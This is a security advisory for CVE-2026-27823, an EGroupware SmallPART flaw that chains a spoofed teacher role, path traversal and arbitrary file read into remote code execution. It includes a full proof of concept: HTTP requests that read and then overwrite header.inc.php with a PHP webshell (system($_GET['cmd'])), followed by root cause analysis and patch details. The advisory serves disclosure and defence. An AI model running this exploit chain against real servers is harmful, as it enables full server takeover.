CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal
A critical chain of three bugs in EGroupware lets an attacker bypass teacher authorization, overwrite the PHP configuration file with malicious code, and achieve remote code execution on the server.
The problem
EGroupware's SmallPART module exposes an upload endpoint, `SmallPartMediaRecorder::ajax_upload()`, that is supposed to restrict uploads to course teachers. The authorization check reads the role value directly from the attacker-controlled request body instead of from the database, so setting `participant_role` to 3 in the JSON payload grants teacher-level access without any real credentials.
Once the auth check is bypassed, the upload path is built from the user-supplied `video_type` field with no sanitization, enabling path traversal. A separate endpoint, `importexport_export_ui::download`, reads arbitrary files via the `_filename` query parameter, also unsanitized.
Chaining file-read and file-write lets an attacker inject PHP code into `header.inc.php`, the file loaded on every request, achieving full RCE. If self-registration is enabled, no login is required at all.
Proof of concept
A working proof-of-concept for CVE-2026-27823 in egroupware/egroupware, with the exact payload below.
# Step 1: bypass auth and write a PHP webshell into header.inc.php via path traversal
# First, read the current header.inc.php to preserve valid PHP structure:
GET /egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak HTTP/1.1
Host: target.example.com
Cookie: <session>
# Step 2: upload a modified header.inc.php (with injected PHP) via the auth-bypass upload
# The participant_role:3 in the JSON spoofs the isTeacher() check.
# video_type uses ../ to reach header.inc.php outside the upload directory.
POST /egroupware/json.php?menuaction=smallpart.EGroupware\SmallParT\Widgets\SmallPartMediaRecorder.ajax_upload HTTP/1.1
Host: target.example.com
Cookie: <session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="video"
{
"course_id": {
"participants": [
{
"account_id": "7",
"name": "Test",
"joined_at": "2026-01-10",
"participant_role": 3
}
],
"account_id": "7",
"course_id": "1"
},
"video_hash": ".",
"video_type": "../../header.inc.php"
}
------Boundary
Content-Disposition: form-data; name="file"; filename="header.inc.php"
Content-Type: application/octet-stream
<?php /* original header.inc.php content preserved here */ system($_GET['cmd']); ?>
------Boundary--
# Step 3: trigger RCE (after OPcache expiry or server restart)
GET /egroupware/header.inc.php?cmd=id HTTP/1.1
Host: target.example.comThe root cause of the auth bypass (CWE-639) is that `ajax_upload()` reads `course_acl` from the attacker-supplied `participant_role` field inside the request JSON instead of fetching the ACL from the database for the authenticated user. Setting it to `3` (ROLE_TEACHER) trivially satisfies the `isTeacher` check.
The path traversal (CWE-22) occurs because `video_type` is used to construct the upload destination path with no `realpath` check or directory prefix enforcement, allowing `../../header.inc.php` to escape the upload directory.
The file-read primitive (also CWE-22) in `importexport_export_ui::download` passes `_filename` directly to a file-read call without canonicalizing the path, enabling retrieval of any file readable by the web server process. Combining read and write lets an attacker inject PHP code while keeping `header.inc.php` syntactically valid, bypassing the OPcache constraint.
The patch (26.2.20260224) validates the upload path against an allowed directory, fetches the ACL from the database server-side, and strips path separators from `_filename`.
The fix
Upgrade to EGroupware 26.2.20260224 (or 23.1.20260224 for the 23.1 branch). Both are marked SECURITY releases. No configuration workaround exists; the only mitigation short of patching is to disable self-registration and restrict access to the SmallPART and importexport modules.
Reported by Huong Kieu, Cenobe Security.
Related research
- highCVE-2026-40187CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection
- highCVE-2026-55794CVE-2026-55794: Craft CMS Authenticated RCE via Twig Injection in Referer Header
- highSolidInvoice: IDOR in Symfony LiveComponents Allows Cross-User API Token and Notification Settings Access
- highCVE-2026-55790CVE-2026-55790: Craft CMS DOM XSS via Poisoned GitHub Issue Title in CraftSupport Widget